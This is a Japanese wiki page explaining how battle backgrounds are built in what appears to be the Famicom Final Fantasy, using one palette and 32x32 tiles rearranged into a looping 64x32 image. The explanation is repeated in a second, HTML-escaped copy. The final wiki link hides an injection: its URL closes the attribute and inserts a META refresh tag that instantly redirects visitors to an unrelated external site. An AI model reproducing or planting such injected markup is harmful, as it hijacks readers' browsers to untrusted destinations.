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戦闘時の背景に関する解説ページです。 *戦闘背景@FF パレットは1組、32*32の画像を並び替えて64*32のループ |図1:4枚*4枚=16枚のタイルを以下のように並べてループ画像にしている?&br()&ref(bg@battle.png)| |まず、背景に使うパレットは1組、3色+背景色(黒)のみ。&br()そして、図1上側の様に4枚*4枚、32ドット*32ドットの背景データを用意して、&br()図1下側のように並び替えることで64*32の画像を作り、&br()それを繰り返し横に並べて背景としている、っぽい。|
戦闘時の背景に関する解説ページです。 *戦闘背景@FF パレットは1組、32*32の画像を並び替えて64*32のループ |図1:4枚*4枚=16枚のタイルを以下のように並べてループ画像にしている?&amp;br()&amp;ref(bg@battle.png)| |まず、背景に使うパレットは1組、3色+背景色(黒)のみ。&amp;br()そして、図1上側の様に4枚*4枚、32ドット*32ドットの背景データを用意して、&amp;br()図1下側のように並び替えることで64*32の画像を作り、&amp;br()それを繰り返し横に並べて背景としている、っぽい。|[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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